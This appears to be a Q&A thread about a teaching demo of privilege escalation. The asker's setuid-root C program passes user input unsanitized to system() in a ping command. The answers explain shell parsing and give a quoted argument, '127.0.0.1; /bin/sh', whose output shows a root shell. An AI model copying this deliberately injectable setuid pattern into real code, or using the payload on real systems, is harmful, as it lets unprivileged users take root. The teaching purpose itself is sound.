0

Quick disclaimer: I fully understand that the code I am attempting to write is insecure, and allows for arbitrary users to escalate to root. I am writing a simple C program like this to demonstrate how privileged escalation works to those unfamiliar.

What I have right now is a simple C program:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int BUFFERSIZE = 512;

void main(int argc, char** argv) {
  char ipaddr[BUFFERSIZE];
  snprintf(ipaddr, BUFFERSIZE, "ping -c 4 %s", argv[1]);
  if(setuid(0) == -1) printf("setUID ERROR");
  system(ipaddr);
}

I compile this code as root and set the permissions as such:

-rwsr-xr-x 1 root root 16840 Oct 28 14:13 pingSys

As you can see, the setUID bit is flipped. So what should happen, is if I run the program like so:

./pingSys 127.0.0.1; /bin/sh

It should execute ping -c 4 127.0.0.1; /bin/sh as the root user and spawn a shell. But instead, I get this:

user@localhost:~/privEsc$ ./pingSys 127.0.0.1; /bin/sh
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.034 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.089 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.118 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.089 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 59ms
rtt min/avg/max/mdev = 0.034/0.082/0.118/0.031 ms
$ whoami
user

What is going wrong here? I have the setUID bit flipped on the executable, and I even tried running the function setuid(0), which doesn't throw an error. I'm very confused as to why I can't spawn a shell as root because everywhere else I've looked this has worked.

Any ideas?

4
./pingSys 127.0.0.1; /bin/sh

The semicolon will be interpreted as a command delimiter by the current shell. This means it will first execute ./pingSys 127.0.0.1 in the current shell and then /bin/sh in the current shell, i.e. spawning a new shell with the current (non-privileged) permissions.

What you instead need to do is to put quotes around your argument so that it gets passed in full to your pingSys program instead of getting interpreted by the current shell:

 $ ./pingSys '127.0.0.1; /bin/sh'
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.071 ms
...
# whoami
root
  • Slams head on table ...It's always the small things that slip past. – ExecutionByFork Oct 28 '18 at 21:44
4

So, because you haven't quoted the parameter, you are passing two separate commands to your non-elevated shell. One of them runs as root, and calls ping. The other runs as user and spawns a sub-shell. Your command is equivalent to this:

$ ./pingSys 127.0.0.1
$ /bin/sh

The first line runs as root, the second as the current user. Quoting the full parameter should make it work like you expect.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.